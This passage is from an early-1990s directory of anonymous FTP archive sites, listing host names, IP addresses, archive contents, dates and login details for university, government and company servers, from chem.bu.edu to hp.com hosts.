unknown + chem.bu.edu 08/20/90 4 anonymous/odin@pilot.njin.net +cheops.cis.ohio-state.edu 128.146.8.62 unknown + cheops.cis.ohio-state.edu 12/24/90 4 anonymous/odin@pilot.njin.net +chiris.stevens-tech.edu 192.12.216.114 TeX, ChTeX + chiris.stevens-tech.edu 07/09/90 4 anonymous/odin@pilot.njin.net +chmsr.gatech.edu 128.61.3.10 tamil font + chmsr.gatech.edu 08/22/90 4 anonymous/odin@pilot.njin.net +cica.cica.indiana.edu 129.79.20.22 misc unix, pc, NeXT updates, + cica.cica.indiana.edu ms windows + cica.cica.indiana.edu 03/01/91 4 anonymous/odin@pilot.njin.net +cicero.cs.umass.edu 128.119.40.189 large collection of digitized + cicero.cs.umass.edu images + cicero.cs.umass.edu 12/25/90 4 anonymous/odin@pilot.njin.net +cindy.ecst.csuchico.edu 132.241.1.35 unknown + cindy.ecst.csuchico.edu 10/25/90 7 anonymous/odin@pilot.njin.net +cis.ohio-state.edu 128.146.8.62 NeWS, alt.gourmand, unix-pc, + cis.ohio-state.edu 128.146.8.60 comp.sources.misc, + cis.ohio-state.edu 128.146.8.61 comp.sources.unix, + cis.ohio-state.edu 128.146.8.98 comp.sources.x, idea, ien, + cis.ohio-state.edu netinfo, rfc + cis.ohio-state.edu 12/31/90 4 anonymous/odin@pilot.njin.net +citi.umich.edu 141.211.128.16 pathalias, CITI macIP + citi.umich.edu 09/22/90 4 anonymous/odin@pilot.njin.net +cli.com 192.31.85.1 akcl piton proof-checker + cli.com 08/22/90 7 anonymous/odin@pilot.njin.net +climate.gsfc.nasa.gov 128.183.46.16 unknown + climate.gsfc.nasa.gov 04/27/91 3 anonymous/odin@pilot.njin.net +clouso.crim.ca 192.26.210.1 RISQnet related documents, + clouso.crim.ca mail lists, reports, and + clouso.crim.ca announcements, awa: ca domain + clouso.crim.ca reg., RFCs, IEFT, etc. + clouso.crim.ca 05/29/90 4 anonymous/odin@pilot.njin.net +clover.ucdavis.edu 128.120.57.1 eepic, fig2epic, HOL + clover.ucdavis.edu 05/29/90 7 anonymous/odin@pilot.njin.net +clutx.clarkson.edu 128.153.4.3 BBSLists Batch ISETL + clutx.clarkson.edu MicroEmacs SmallTalk TurboC + clutx.clarkson.edu TurboPas Z100 aplc + clutx.clarkson.edu ghostscript uupc xlisp + clutx.clarkson.edu 06/03/90 4 anonymous/odin@pilot.njin.net +clvax1.cl.msu.edu 35.8.2.1 MS Windows + clvax1.cl.msu.edu 08/22/90 4 anonymous/odin@pilot.njin.net +cmns.think.com 131.239.2.100 Connection machine starlisp + cmns.think.com simulator, starlisp + cmns.think.com simulator, gmacs, thinking + cmns.think.com machines gmacs hacks, other + cmns.think.com connection machine softare + cmns.think.com 05/07/91 4 anonymous/odin@pilot.njin.net +cobalt.cco.caltech.edu 131.215.48.200 unknown + cobalt.cco.caltech.edu 03/31/91 7 anonymous/odin@pilot.njin.net +cod.nosc.mil 128.49.16.5 unknown + cod.nosc.mil 07/08/90 7 anonymous/odin@pilot.njin.net +cogsci.indiana.edu 129.79.238.6 unknown + cogsci.indiana.edu 04/24/91 5 anonymous/odin@pilot.njin.net +col.hp.com 15.255.240.16 NOS + col.hp.com 08/22/90 7 anonymous/odin@pilot.njin.net +columbia.edu 128.59.16.1 NEST network simulation + columbia.edu 128.59.32.1 testbed + columbia.edu 05/29/90 4 anonymous/odin@pilot.njin.net +connemara.math.arizona.edu 128.196.224.5 irisplot + connemara.math.arizona.edu 05/15/90 6 anonymous/odin@pilot.njin.net +convex.com 130.168.1.1 perl sources, perl examples + convex.com 02/19/91 5 anonymous/odin@pilot.njin.net +copernicus.berkeley.edu 128.32.240.37 unknown + copernicus.berkeley.edu 01/22/91 7 anonymous/odin@pilot.njin.net +coral.bucknell.edu 134.82.1.1 nothing + coral.bucknell.edu 12/31/90 4 anonymous/odin@pilot.njin.net +coral.hss.cmu.edu 128.2.229.218 MPW + coral.hss.cmu.edu 08/22/90 4 anonymous/odin@pilot.njin.net +corto.inria.fr 128.93.11.2 unknown + corto.inria.fr 12/26/90 -2 anonymous/odin@pilot.njin.net +cpsc.ucalgary.ca 136.159.2.1 unknown + cpsc.ucalgary.ca 03/31/91 6 anonymous/odin@pilot.njin.net +crl.dec.com 192.58.206.2 X11R4, neuralnets tinymud + crl.dec.com 05/31/90 4 anonymous/odin@pilot.njin.net +crvax.sri.com 128.18.10.1 RISKS Digest archive + crvax.sri.com 12/31/90 7 anonymous/odin@pilot.njin.net +cs-sun-fsa.cpsc.ucalgary.ca 136.159.2.1 xinterface, text compression + cs-sun-fsa.cpsc.ucalgary.ca 136.159.4.1 corpus, the reactive keyboard + cs-sun-fsa.cpsc.ucalgary.ca 10/25/90 6 anonymous/odin@pilot.njin.net +cs.arizona.edu 192.12.69.5 Icon, SR, SBprolog, SNOBOL4 + cs.arizona.edu languages, xkernel + cs.arizona.edu communications kernel + cs.arizona.edu 05/15/90 6 anonymous/odin@pilot.njin.net +cs.bu.edu 128.197.2.1 conquer + cs.bu.edu 128.197.10.1 + cs.bu.edu 03/22/91 4 anonymous/odin@pilot.njin.net +cs.columbia.edu 128.59.16.20 ispell + cs.columbia.edu 05/15/90 4 anonymous/odin@pilot.njin.net +cs.nyu.edu 128.122.140.24 unknown + cs.nyu.edu 10/25/90 4 anonymous/odin@pilot.njin.net +cs.orst.edu 128.193.32.1 Xlisp, smalltalk, TOPS + cs.orst.edu Terminal, NeXT + cs.orst.edu 05/15/90 7 anonymous/odin@pilot.njin.net +cs.rpi.edu 128.213.1.1 Cellsim + cs.rpi.edu 12/31/90 4 anonymous/odin@pilot.njin.net +cs.stthomas.edu 140.209.5.1 unknown + cs.stthomas.edu 03/17/91 5 anonymous/odin@pilot.njin.net +cs.ucl.ac.uk 128.16.5.31 DIS CMIS/P + cs.ucl.ac.uk 08/22/90 -1 anonymous/odin@pilot.njin.net +cs.uni-sb.de 134.96.7.254 GNU, atari, RFCs, perl, misc + cs.uni-sb.de utils + cs.uni-sb.de 07/25/90 -2 anonymous/odin@pilot.njin.net +cs.uoregon.edu 128.223.4.13 raytracing archive (markv), + cs.uoregon.edu not much + cs.uoregon.edu 05/15/90 7 anonymous/odin@pilot.njin.net +cs.utah.edu 128.110.4.21 Worm Tour, amiga, forth, utah + cs.utah.edu raster, news service archive + cs.utah.edu 08/03/90 6 anonymous/odin@pilot.njin.net +cs.utexas.edu 128.83.139.9 QSIM, FIG + cs.utexas.edu 08/22/90 5 anonymous/odin@pilot.njin.net +cs.utk.edu 128.169.201.1 DECnet mail gateway for VAXen + cs.utk.edu and suns, mail11 + cs.utk.edu 07/19/90 4 anonymous/odin@pilot.njin.net +cs.wm.edu 128.239.1.30 texsun, animal-rights, + cs.wm.edu pargen, ALV, raster images + cs.wm.edu 05/15/90 4 anonymous/odin@pilot.njin.net +csab.larc.nasa.gov 128.155.26.10 emacs18.54 ispell mush + csab.larc.nasa.gov 05/31/90 4 anonymous/odin@pilot.njin.net +csam.lbl.gov 128.3.254.6 nothing + csam.lbl.gov 05/31/90 7 anonymous/odin@pilot.njin.net +csc-sun.math.utah.edu 128.110.198.2 unknown + csc-sun.math.utah.edu 10/20/90 6 anonymous/odin@pilot.njin.net +csc2.anu.edu.au 130.56.4.25 sun-fixes, RFCs, NCSA, msdos, + csc2.anu.edu.au mac + csc2.anu.edu.au 01/17/91 -12 anonymous/odin@pilot.njin.net +cscihp.ecst.csuchico.edu 132.241.1.2 online chemistry manual + cscihp.ecst.csuchico.edu 03/20/91 7 anonymous/odin@pilot.njin.net +csd4.csd.uwm.edu 129.89.7.4 high-audio + csd4.csd.uwm.edu 05/15/90 5 anonymous/odin@pilot.njin.net +csdvax.gatech.edu 128.61.9.3 nothing + csdvax.gatech.edu 08/22/90 4 anonymous/odin@pilot.njin.net +cse.ogi.edu 129.95.10.2 suntools graphics tools, old + cse.ogi.edu 129.95.40.2 Kerberos, old mush, + cse.ogi.edu neuro-evolution mailing list + cse.ogi.edu archive, speech recognition + cse.ogi.edu archive + cse.ogi.edu 08/22/90 7 anonymous/odin@pilot.njin.net +csl.sri.com 192.12.33.2 Handhelds + csl.sri.com 05/31/90 7 anonymous/odin@pilot.njin.net +csli.stanford.edu 36.9.0.46 Gandalf + csli.stanford.edu 05/15/90 7 anonymous/odin@pilot.njin.net +csri.toronto.edu 128.100.2.30 nothing + csri.toronto.edu 08/22/90 4 anonymous/odin@pilot.njin.net +csus.edu 130.86.90.1 NeXT, vectrex + csus.edu 07/22/90 7 anonymous/odin@pilot.njin.net +csvax.cs.caltech.edu 131.215.131.131 p2c, M88K + csvax.cs.caltech.edu 01/17/91 7 anonymous/odin@pilot.njin.net +ctrsci.math.utah.edu 128.110.198.1 TeX fonts, make, Beebe VAX + ctrsci.math.utah.edu drivers + ctrsci.math.utah.edu 08/22/90 6 anonymous/odin@pilot.njin.net +cu-arpa.cs.cornell.edu 128.84.254.3 Isis, bromley + cu-arpa.cs.cornell.edu 05/15/90 4 anonymous/odin@pilot.njin.net +cunixf.cc.columbia.edu 128.59.40.130 MM mailer + cunixf.cc.columbia.edu 01/11/91 4 anonymous/odin@pilot.njin.net +curie.cs.unc.edu 128.109.136.151 GIF, graphics programs + curie.cs.unc.edu 08/22/90 4 anonymous/odin@pilot.njin.net +currituck.cs.unc.edu 128.109.136.77 unknown + currituck.cs.unc.edu 03/25/91 4 anonymous/odin@pilot.njin.net +cuvmb.cc.columbia.edu 128.59.40.129 kermit, ibm tcp/ip mods + cuvmb.cc.columbia.edu 08/22/90 4 anonymous/odin@pilot.njin.net +cyclone.stanford.edu 36.83.0.188 nothing + cyclone.stanford.edu 06/01/90 7 anonymous/odin@pilot.njin.net +dabo.citi.umich.edu 141.211.168.73 unknown + dabo.citi.umich.edu 141.211.172.73 + dabo.citi.umich.edu 03/23/91 7 anonymous/odin@pilot.njin.net +dagon.acc.stolaf.edu 130.71.192.18 NeXT + dagon.acc.stolaf.edu 05/15/90 7 anonymous/odin@pilot.njin.net +daimi.aau.dk 130.225.16.1 unknown + daimi.aau.dk 10/25/90 -2 anonymous/odin@pilot.njin.net +dartvax.dartmouth.edu 129.170.16.4 dartmouth stuff (rn, mail, + dartvax.dartmouth.edu etc.) + dartvax.dartmouth.edu 05/15/90 4 anonymous/odin@pilot.njin.net +dcsprod.byu.edu 128.187.7.3 nothing + dcsprod.byu.edu 08/22/90 5 anonymous/odin@pilot.njin.net +deco.ucc.su.oz.au 129.78.64.6 unknown + deco.ucc.su.oz.au 04/24/91 anonymous/odin@pilot.njin.net +decoy.cc.uoregon.edu 128.223.32.19 VAX book, TeX Primer + decoy.cc.uoregon.edu 04/11/91 7 anonymous/odin@pilot.njin.net +decuac.dec.com 192.5.214.1 unknown + decuac.dec.com 10/09/90 4 anonymous/odin@pilot.njin.net +dept.csci.unt.edu 129.120.1.2 Texas Packet Radio Society, + dept.csci.unt.edu MixView, GNUPlot + dept.csci.unt.edu 05/15/90 5 anonymous/odin@pilot.njin.net +derro.ucc.su.oz.au 129.78.64.5 unknown + derro.ucc.su.oz.au 12/31/90 -10 anonymous/odin@pilot.njin.net +devvax.tn.cornell.edu 128.84.252.200 tn3270, gated + devvax.tn.cornell.edu 192.35.82.200 + devvax.tn.cornell.edu 05/15/90 4 anonymous/odin@pilot.njin.net +dftnic.gsfc.nasa.gov 128.183.10.3 VMS stuff, MacSecure, ALEX, + dftnic.gsfc.nasa.gov VNEWS vms newsreader + dftnic.gsfc.nasa.gov 01/03/91 anonymous/odin@pilot.njin.net +dftsrv.gsfc.nasa.gov 128.183.10.134 VMS & Unix stuff, MacSecure + dftsrv.gsfc.nasa.gov anti-virus pkg, ALEX util + dftsrv.gsfc.nasa.gov 01/03/91 4 anonymous/odin@pilot.njin.net +dg-rtp.dg.com 128.222.1.2 GDB, DG version of GNU C for + dg-rtp.dg.com 88K + dg-rtp.dg.com 08/22/90 7 anonymous/odin@pilot.njin.net +dimacs.rutgers.edu 128.6.75.16 unknown + dimacs.rutgers.edu 04/24/91 4 anonymous/odin@pilot.njin.net +dirt.cisco.com 131.108.1.111 Mac telnet w/slip + dirt.cisco.com 03/15/91 7 anonymous/odin@pilot.njin.net +ditmela.mel.dit.csiro.au 128.250.90.81 VMS isode + ditmela.mel.dit.csiro.au 08/22/90 -12 anonymous/odin@pilot.njin.net +dkuug.dk 129.142.96.41 unknown + dkuug.dk 09/08/90 -2 anonymous/odin@pilot.njin.net +dmssyd.syd.dms.csiro.au 130.155.96.1 unknown + dmssyd.syd.dms.csiro.au 01/17/91 -12 anonymous/odin@pilot.njin.net +doc.cso.uiuc.edu 128.174.33.105 msdos (pcsig), mac + doc.cso.uiuc.edu 05/15/90 4 anonymous/odin@pilot.njin.net +dolphin.mit.edu 18.86.0.5 X11r3 device driver for S, + dolphin.mit.edu LISA + dolphin.mit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +dopey.cs.unc.edu 128.109.136.82 sunOS 3.5 traceroute, theorem + dopey.cs.unc.edu prover + dopey.cs.unc.edu 08/22/90 4 anonymous/odin@pilot.njin.net +dra.com 192.65.218.43 unknown + dra.com 12/31/90 5 anonymous/odin@pilot.njin.net +draci.cs.uow.edu.au 130.130.64.3 unknown + draci.cs.uow.edu.au 01/17/91 -12 anonymous/odin@pilot.njin.net +drycas.club.cc.cmu.edu 128.2.232.11 ANU_NEWS, TALK + drycas.club.cc.cmu.edu 128.2.232.229 + drycas.club.cc.cmu.edu 12/31/90 4 anonymous/odin@pilot.njin.net +dsl.cis.upenn.edu 130.91.6.12 GIF, IBM + dsl.cis.upenn.edu 05/15/90 4 anonymous/odin@pilot.njin.net +dsrgsun.ces.cwru.edu 129.22.16.2 Minix, TOS Atari ST, gcc from + dsrgsun.ces.cwru.edu bammi + dsrgsun.ces.cwru.edu 08/22/90 4 anonymous/odin@pilot.njin.net +duke.cs.duke.edu 128.109.140.1 compress gnuplot + duke.cs.duke.edu 05/31/90 4 anonymous/odin@pilot.njin.net +durer.cme.nist.gov 129.6.32.4 8mm backup (Exabyte), pdes, + durer.cme.nist.gov microemacs 3.10 + durer.cme.nist.gov 05/15/90 4 anonymous/odin@pilot.njin.net +eagle.cnsf.cornell.edu 128.84.201.1 unknown + eagle.cnsf.cornell.edu 10/10/90 4 anonymous/odin@pilot.njin.net +eba.eb.ele.tue.nl 131.155.2.25 Apollo info + eba.eb.ele.tue.nl 131.155.40.1 + eba.eb.ele.tue.nl 08/22/90 -2 anonymous/odin@pilot.njin.net +ebony.educom.edu 192.52.179.1 bitnet files, paroute + ebony.educom.edu 08/15/90 4 anonymous/odin@pilot.njin.net +eddie.mit.edu 18.62.0.6 nothing + eddie.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +ee.umr.edu 131.151.4.11 unknown + ee.umr.edu 03/17/91 5 anonymous/odin@pilot.njin.net +ee.uta.edu 129.107.2.51 NeXT + ee.uta.edu 01/23/91 5 anonymous/odin@pilot.njin.net +eecs.nwu.edu 129.105.5.103 unknown + eecs.nwu.edu 01/17/91 5 anonymous/odin@pilot.njin.net +eesun1.uta.edu unknown + eesun1.uta.edu 01/17/91 5 anonymous/odin@pilot.njin.net +elbereth.rutgers.edu 128.6.7.26 SF-lovers archive + elbereth.rutgers.edu 128.6.4.61 + elbereth.rutgers.edu 08/22/90 4 anonymous/odin@pilot.njin.net +elroy.cs.iastate.edu 129.186.3.15 mail servers + elroy.cs.iastate.edu 08/05/90 5 anonymous/odin@pilot.njin.net +elroy.jpl.nasa.gov 128.149.1.100 ANU_NEWS + elroy.jpl.nasa.gov 05/15/90 7 anonymous/odin@pilot.njin.net +elsie.nci.nih.gov 128.231.16.1 unknown + elsie.nci.nih.gov 12/31/90 4 anonymous/odin@pilot.njin.net +emsworth.andrew.cmu.edu 128.2.30.62 Andrew Toolkit + emsworth.andrew.cmu.edu 08/22/90 4 anonymous/odin@pilot.njin.net +emunix.emich.edu 192.73.75.2 Ultrix, VMS (soon) + emunix.emich.edu 05/15/90 4 anonymous/odin@pilot.njin.net +emx.utexas.edu 128.83.1.33 net directory + emx.utexas.edu 05/15/90 5 anonymous/odin@pilot.njin.net +enac5.enac.dgac.fr 143.196.3.5 unknown + enac5.enac.dgac.fr 143.196.22.2 + enac5.enac.dgac.fr 03/25/91 -2 anonymous/odin@pilot.njin.net +encore.com 129.91.1.14 mach.doc, nfsstone benchmark + encore.com 05/15/90 4 anonymous/odin@pilot.njin.net +enh.nist.gov 129.6.16.1 ftp-list + enh.nist.gov 08/22/90 4 anonymous/odin@pilot.njin.net +ento.tamu.edu 128.194.43.65 VAX/VMS games + ento.tamu.edu 12/31/90 5 anonymous/odin@pilot.njin.net +eru.mt.luth.se 130.240.0.9 gnews 19, gated, plp, + eru.mt.luth.se gcc(old) + eru.mt.luth.se 08/22/90 -1 anonymous/odin@pilot.njin.net +ese3.ese.ogi.edu 129.95.20.62 grtool, xvgr, xmgr, SunView, + ese3.ese.ogi.edu Xview, Motif, XY plotting + ese3.ese.ogi.edu tools + ese3.ese.ogi.edu 03/15/91 7 anonymous/odin@pilot.njin.net +expo.lcs.mit.edu 18.30.0.212 unknown + expo.lcs.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +export.lcs.mit.edu 18.30.0.238 X, portable bitmaps, CLX and + export.lcs.mit.edu CLUE, gwm + export.lcs.mit.edu 03/17/91 3 anonymous/odin@pilot.njin.net +extro.ucc.su.oz.au 129.78.64.1 images, gnu, icon, kermit, + extro.ucc.su.oz.au Ghostscript patches + extro.ucc.su.oz.au 07/08/90 -12 anonymous/odin@pilot.njin.net +f.ms.uky.edu 128.163.128.6 mac, msdos, unix-pc + f.ms.uky.edu 08/22/90 4 anonymous/odin@pilot.njin.net +faramir.informatik.uni-oldenburg.de134.106.1.9 irc + faramir.informatik.uni-oldenburg.de04/02/91 -2 anonymous/odin@pilot.njin.ne +t +faui43.informatik.uni-erlangen.de 131.188.1.43 NeWS X11 amiga atari faces + faui43.informatik.uni-erlangen.de 131.188.34.43 games gnu hp28 irc iso lisp + faui43.informatik.uni-erlangen.de 131.188.44.43 + faui43.informatik.uni-erlangen.de 08/13/90 -2 anonymous/odin@pilot.njin.net +fergvax.unl.edu 129.93.33.1 nothing yet + fergvax.unl.edu 05/15/90 5 anonymous/odin@pilot.njin.net +fg.sei.cmu.edu 128.237.2.163 serpent user interface + fg.sei.cmu.edu management system + fg.sei.cmu.edu 05/17/90 4 anonymous/odin@pilot.njin.net +fidji.informatik.uni-freiburg.de 132.230.30.80 unknown + fidji.informatik.uni-freiburg.de 03/17/91 -2 anonymous/odin@pilot.njin.net +files1zrz.zrz.tu-berlin.de 130.149.4.50 unknown + files1zrz.zrz.tu-berlin.de 03/15/91 anonymous/odin@pilot.njin.net +finsun.csc.fi 128.214.46.40 X11R4 ftp-list + finsun.csc.fi 06/01/90 -3 anonymous/odin@pilot.njin.net +fiol.uib.no 129.177.10.24 pcip packet driver + fiol.uib.no 05/15/90 -2 anonymous/odin@pilot.njin.net +fionavar.mit.edu 18.72.0.96 latex styles, jokes, online + fionavar.mit.edu consulting software (soon) + fionavar.mit.edu 10/15/90 4 anonymous/odin@pilot.njin.net +fits.cx.nrao.edu 192.33.115.8 FITS (astronomy image + fits.cx.nrao.edu transfer system) + fits.cx.nrao.edu 05/15/90 4 anonymous/odin@pilot.njin.net +flash.bellcore.com 128.96.32.20 mgr, spiff, RFCs, track + flash.bellcore.com 192.4.13.90 + flash.bellcore.com 01/23/91 5 anonymous/odin@pilot.njin.net +flinders.cs.flinders.oz.au 129.96.2.1 GrowNet.dvi + flinders.cs.flinders.oz.au 129.96.3.1 + flinders.cs.flinders.oz.au 05/31/90 -11 anonymous/odin@pilot.njin.net +flop.informatik.tu-muenchen.de 131.159.8.35 unknown + flop.informatik.tu-muenchen.de 12/26/90 -2 anonymous/odin@pilot.njin.net +flotsam.mit.edu 18.85.0.36 galatea cake + flotsam.mit.edu 05/31/90 4 anonymous/odin@pilot.njin.net +fnord.umiacs.umd.edu 128.8.120.3 misc DECstation stuff + fnord.umiacs.umd.edu 05/15/90 4 anonymous/odin@pilot.njin.net +foobar.colorado.edu 128.138.204.31 BDF fonts, xtex + foobar.colorado.edu 07/09/90 6 anonymous/odin@pilot.njin.net +forwiss.uni-passau.de 132.231.1.10 SML of NJ, GraphEd, amiga, + forwiss.uni-passau.de 132.231.20.10 atari st, minix, elisp, TeX + forwiss.uni-passau.de utils, misc + forwiss.uni-passau.de 02/05/91 -1 anonymous/odin@pilot.njin.net +freebie.engin.umich.edu 141.212.68.23 macintosh + freebie.engin.umich.edu 05/31/90 4 anonymous/odin@pilot.njin.net +freja.diku.dk 129.142.96.1 nn, gnu, x11r4, tex, isode, + freja.diku.dk scheme, sun rpc, rfc, ietf, + freja.diku.dk emacs archive + freja.diku.dk 08/01/90 -2 anonymous/odin@pilot.njin.net +fresnel.stanford.edu 36.10.0.77 X11R4 for Iris + fresnel.stanford.edu 07/09/90 7 anonymous/odin@pilot.njin.net +fsa.cpsc.ucalgary.ca 136.159.2.1 unknown + fsa.cpsc.ucalgary.ca 136.159.3.1 + fsa.cpsc.ucalgary.ca 01/26/91 7 anonymous/odin@pilot.njin.net +ftp.brl.mil 128.63.16.158 info-iris, images, sgi demos, + ftp.brl.mil gifs + ftp.brl.mil 03/15/91 4 anonymous/odin@pilot.njin.net +ftp.cayman.com 143.137.50.5 unknown + ftp.cayman.com 04/24/91 anonymous/odin@pilot.njin.net +ftp.cs.toronto.edu 128.100.3.6 AIList, sun-Spots, many other + ftp.cs.toronto.edu 128.100.1.105 mailing list archives, CA + ftp.cs.toronto.edu domain reg. forms, RFCs, + ftp.cs.toronto.edu NETINFO, DOMAIN, IETF, + ftp.cs.toronto.edu INET-DRAFTS, Current C News, + ftp.cs.toronto.edu dvix, logging ftpd, Jove, + ftp.cs.toronto.edu sunOS SLIP et al, S/SL, TeX, + ftp.cs.toronto.edu UofT BIND, X applications + ftp.cs.toronto.edu 03/15/91 4 anonymous/odin@pilot.njin.net +ftp.pitt.edu 130.49.253.1 unknown + ftp.pitt.edu 130.49.254.250 + ftp.pitt.edu 04/24/91 4 anonymous/odin@pilot.njin.net +ftp.vmars.tuwien.ac.at 128.130.39.19 unknown + ftp.vmars.tuwien.ac.at 04/24/91 -2 anonymous/odin@pilot.njin.net +funet.fi 128.214.1.1 FUNET/NORDUNET info + funet.fi 10/21/90 -3 anonymous/odin@pilot.njin.net +gaffa.mit.edu 18.85.0.15 various stuff + gaffa.mit.edu 05/31/90 4 anonymous/odin@pilot.njin.net +gandalf.umcs.maine.edu 130.111.112.21 MS windows 3.0 shareware and + gandalf.umcs.maine.edu freeware + gandalf.umcs.maine.edu 02/05/91 4 anonymous/odin@pilot.njin.net +gang-of-four.stanford.edu 36.8.0.118 schemer + gang-of-four.stanford.edu 05/31/90 7 anonymous/odin@pilot.njin.net +garbo.uwasa.fi 128.214.12.37 msdos, win3, ts-progs, unix, + garbo.uwasa.fi vms + garbo.uwasa.fi 03/02/91 -3 anonymous/odin@pilot.njin.net +gargoyle.uchicago.edu 128.135.20.100 named-kit, Odbol equational + gargoyle.uchicago.edu programming language + gargoyle.uchicago.edu 08/22/90 5 anonymous/odin@pilot.njin.net +gatekeeper.dec.com 16.1.0.2 X11, recipes, cron, map, + gatekeeper.dec.com Larry Wall stuff, STDWIN, + gatekeeper.dec.com lots of source + gatekeeper.dec.com 05/15/90 7 anonymous/odin@pilot.njin.net +genbank.bio.net 134.172.1.160 National Repository for Gene + genbank.bio.net 134.172.3.160 Sequence Data + genbank.bio.net 05/15/90 7 anonymous/odin@pilot.njin.net +genvax.psycha.upenn.edu 128.91.22.103 ranma + genvax.psycha.upenn.edu 08/22/90 4 anonymous/odin@pilot.njin.net +girch1.hsch.utexas.edu 129.106.4.1 Physiological Research info + girch1.hsch.utexas.edu and programs + girch1.hsch.utexas.edu 08/22/90 6 anonymous/odin@pilot.njin.net +giza.cis.ohio-state.edu 128.146.8.61 X, PEX + giza.cis.ohio-state.edu 128.146.6.150 + giza.cis.ohio-state.edu 05/16/90 4 anonymous/odin@pilot.njin.net +gjetost.cs.wisc.edu 128.105.2.33 unknown + gjetost.cs.wisc.edu 03/17/91 5 anonymous/odin@pilot.njin.net +gmu90x.gmu.edu 129.174.1.4 nothing + gmu90x.gmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +gmuvax2.gmu.edu 129.174.1.8 Intel Hypercube library, hp28 + gmuvax2.gmu.edu software, statistical + gmuvax2.gmu.edu software + gmuvax2.gmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +godzilla.cgl.rmit.oz.au 131.170.14.2 unknown + godzilla.cgl.rmit.oz.au 02/23/91 -12 anonymous/odin@pilot.njin.net +gondor.cc.nd.edu 129.74.35.171 SUG tars (85-89), some NCSA + gondor.cc.nd.edu from Univ of Ill + gondor.cc.nd.edu 12/31/90 5 anonymous/odin@pilot.njin.net +gondwana.ecr.mu.oz.au 128.250.1.63 unknown + gondwana.ecr.mu.oz.au 128.250.63.1 + gondwana.ecr.mu.oz.au 10/09/90 -10 anonymous/odin@pilot.njin.net +goober.phri.nyu.edu 128.122.136.10 cnews, nntp, kcl docs, psnup, + goober.phri.nyu.edu sequence analysis stuff + goober.phri.nyu.edu 08/22/90 7 anonymous/odin@pilot.njin.net +goya.dit.upm.es 138.4.2.2 artix/ixi, eunet, bbs on + goya.dit.upm.es spain, lotos, irc + goya.dit.upm.es 03/15/91 1 anonymous/odin@pilot.njin.net +grape.ecs.clarkson.edu 128.153.28.129 Opus BBS, msdos, graphics, + grape.ecs.clarkson.edu comp.binaries.ibm.pc, + grape.ecs.clarkson.edu Freemacs, packet drivers + grape.ecs.clarkson.edu 08/22/90 4 anonymous/odin@pilot.njin.net +grasp2.univ-lyon1.fr 134.214.100.33 unknown + grasp2.univ-lyon1.fr 04/24/91 -2 anonymous/odin@pilot.njin.net +gregorio.stanford.edu 36.8.0.11 vmtp-ip, ip-multicast + gregorio.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +grinch.umiacs.umd.edu 128.8.121.1 unclear + grinch.umiacs.umd.edu 128.8.120.2 + grinch.umiacs.umd.edu 08/22/90 4 anonymous/odin@pilot.njin.net +groan.berkeley.edu 128.32.152.202 unknown + groan.berkeley.edu 05/11/91 4 anonymous/odin@pilot.njin.net +gtss.gatech.edu 128.61.4.1 amiga rexx stuff + gtss.gatech.edu 08/22/90 4 anonymous/odin@pilot.njin.net +gumby.cc.wmich.edu 141.218.20.114 MAINT (VMS) + gumby.cc.wmich.edu 05/15/90 4 anonymous/odin@pilot.njin.net +gumby.dsd.trw.com 129.193.72.50 some RFCs, networking progs + gumby.dsd.trw.com 08/22/90 7 anonymous/odin@pilot.njin.net +gwen.cs.purdue.edu 128.10.2.8 unknown + gwen.cs.purdue.edu 128.10.3.8 + gwen.cs.purdue.edu 11/09/90 4 anonymous/odin@pilot.njin.net +hamlet.caltech.edu 131.215.139.3 Nanny (VMS) + hamlet.caltech.edu 131.215.51.150 + hamlet.caltech.edu 12/31/90 7 anonymous/odin@pilot.njin.net +hanauma.stanford.edu 36.51.0.16 sun, TeX, world-map, astro, + hanauma.stanford.edu cake, graphics (best of + hanauma.stanford.edu comp.graphics 86-89 archive), + hanauma.stanford.edu neptune pics, zhongwen + hanauma.stanford.edu 05/17/90 7 anonymous/odin@pilot.njin.net +harry.waisman.wisc.edu 128.104.138.170 LZW + harry.waisman.wisc.edu 02/21/91 5 anonymous/odin@pilot.njin.net +harvard.harvard.edu 128.103.1.1 sendmail, rmtlib.shar, lots + harvard.harvard.edu of VMS + harvard.harvard.edu 05/15/90 4 anonymous/odin@pilot.njin.net +helens.stanford.edu 36.2.0.99 kjv, sultrix, secure.tar.Z + helens.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +helios.ucsc.edu 128.114.130.37 unknown + helios.ucsc.edu 03/22/91 7 anonymous/odin@pilot.njin.net +hercules.csl.sri.com 192.12.33.51 Handhelds latex-figures + hercules.csl.sri.com 05/31/90 7 anonymous/odin@pilot.njin.net +herky.cs.uiowa.edu 128.255.28.100 theorem prover + herky.cs.uiowa.edu 05/15/90 5 anonymous/odin@pilot.njin.net +hmcvax.claremont.edu 134.173.4.32 cyrillic fonts + hmcvax.claremont.edu 134.173.80.32 + hmcvax.claremont.edu 12/31/90 7 anonymous/odin@pilot.njin.net +hobbes.catt.ncsu.edu 128.109.153.75 digitized sounds + hobbes.catt.ncsu.edu 10/30/90 4 anonymous/odin@pilot.njin.net +hobbes.cs.umd.edu 128.8.128.41 homebrew C compiler, minix + hobbes.cs.umd.edu 08/22/90 4 anonymous/odin@pilot.njin.net +hobiecat.cs.caltech.edu 131.215.131.167 GNU + hobiecat.cs.caltech.edu 08/22/90 7 anonymous/odin@pilot.njin.net +hogg.cc.uoregon.edu 128.223.32.9 NorthWestNet site info + hogg.cc.uoregon.edu 05/15/90 7 anonymous/odin@pilot.njin.net +hp4nl.nluug.nl 192.16.202.2 GNU, ABC + hp4nl.nluug.nl 08/22/90 -2 anonymous/odin@pilot.njin.net +hp5.mcs.kent.edu 131.123.2.7 unknown + hp5.mcs.kent.edu 04/24/91 anonymous/odin@pilot.njin.net +hpcvaaz.cv.hp.com 15.255.72.15 MitX11R4 Motif + hpcvaaz.cv.hp.com 08/22/90 7 anonymous/odin@pilot.njin.net +hpcvbbs.cv.hp.com 15.255.72.16 unknown + hpcvbbs.cv.hp.com 10/25/90 7 anonymous/odin@pilot.njin.net +hplpm.hpl.hp.com 15.255.176.205 Neuron digest archives and + hplpm.hpl.hp.com 15.0.48.75 software + hplpm.hpl.hp.com 08/22/90 7 anonymous/odin@pilot.njin.net +hplsci.hpl.hp.com 15.255.176.57 unknown + hplsci.hpl.hp.com 